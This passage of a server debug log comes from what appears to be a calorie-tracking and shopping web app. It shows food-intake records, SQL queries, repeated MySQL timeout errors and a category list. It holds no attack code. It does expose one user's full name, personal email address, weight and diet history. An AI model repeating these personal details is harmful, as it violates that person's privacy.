    replacements: 'Skim milk (fat-free) for fewer calories and less saturated fat,Unsweetened almond milk (very low calorie),Unsweetened soy milk (similar protein, often lower fat)',
    created_at: '2025-12-15T10:45:20.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of calcium, vitamin D, and high-quality protein (casein and whey), beneficial for muscle repair, bone health, and overall recovery. The fat content from full-fat milk is generally acceptable for muscle gain goals if it fits within your overall daily macro targets.'
  },
  {
    id: 401,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Whey Protein Powder',
    calories: 125,
    protein_gm: 27,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (delivering 27g protein)',
    replacements: 'This is already a very lean, low-calorie protein source. No direct lower-calorie alternatives provide the same protein efficiency.,Consider other lean protein sources like chicken breast, fish, or egg whites if you prefer whole foods.',
    created_at: '2025-12-15T10:45:20.000Z',
    skip_level: 1,
    skip_reason: 'Highly beneficial for muscle repair and growth, especially beneficial post-workout due to its rapid absorption. Provides a concentrated source of high-quality protein with minimal carbs and fat, strongly supporting muscle development goals.'
  }
]
2025-12-15T16:15:21.850Z server-connect:app Executing action step setvalue
2025-12-15T16:15:21.850Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-15T16:15:21.850Z server-connect:output var_total: 2521
2025-12-15T16:15:21.850Z server-connect:app Executing action step setvalue
2025-12-15T16:15:21.850Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-15T16:15:21.850Z server-connect:output var_consumed: 105
2025-12-15T16:15:21.850Z server-connect:app Executing action step setvalue
2025-12-15T16:15:21.850Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-15T16:15:21.850Z server-connect:output var_deficit: -121
2025-12-15T16:15:21.850Z server-connect:app Executing action step custom
2025-12-15T16:15:21.850Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-15T16:15:21.851Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 16:15:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 16:15:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 18:17:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 18:17:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 19:56:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 19:56:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 20:50:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 20:50:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 22:36:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 22:36:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 23:00:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 23:00:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 23:19:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 23:19:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-16 00:28:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-16 00:28:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-16 01:18:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-16 01:18:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-16 01:57:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-16 01:57:49' as DATETIME)"
}
2025-12-16T02:30:10.793Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T02:30:10.796Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T02:30:10.797Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T02:30:10.798Z server-connect:app Executing action step identify
2025-12-16T02:30:10.798Z server-connect:app options: { provider: 'security' }
2025-12-16T02:30:10.799Z server-connect:output identity: 1
2025-12-16T02:30:10.799Z server-connect:app Executing action step restrict
2025-12-16T02:30:10.799Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T02:30:10.800Z server-connect:app Executing action step identify
2025-12-16T02:30:10.800Z server-connect:app options: { provider: 'security' }
2025-12-16T02:30:10.800Z server-connect:output identity: 1
2025-12-16T02:30:10.800Z server-connect:app Executing action step restrict
2025-12-16T02:30:10.800Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T02:30:10.801Z server-connect:app Executing action step identify
2025-12-16T02:30:10.801Z server-connect:app options: { provider: 'security' }
2025-12-16T02:30:10.801Z server-connect:output identity: 1
2025-12-16T02:30:10.802Z server-connect:app Executing action step restrict
2025-12-16T02:30:10.802Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T02:30:10.803Z server-connect:output restrict: undefined
2025-12-16T02:30:10.803Z server-connect:app Executing action step single
2025-12-16T02:30:10.803Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T02:30:10.803Z server-connect:output restrict: undefined
2025-12-16T02:30:10.804Z server-connect:app Executing action step single
2025-12-16T02:30:10.804Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T02:30:10.804Z server-connect:output restrict: undefined
2025-12-16T02:30:10.804Z server-connect:app Executing action step select
2025-12-16T02:30:10.804Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T02:30:10.805Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T02:30:10.807Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T02:30:10.807Z server-connect:app Executing action step select
2025-12-16T02:30:10.807Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T02:30:10.810Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
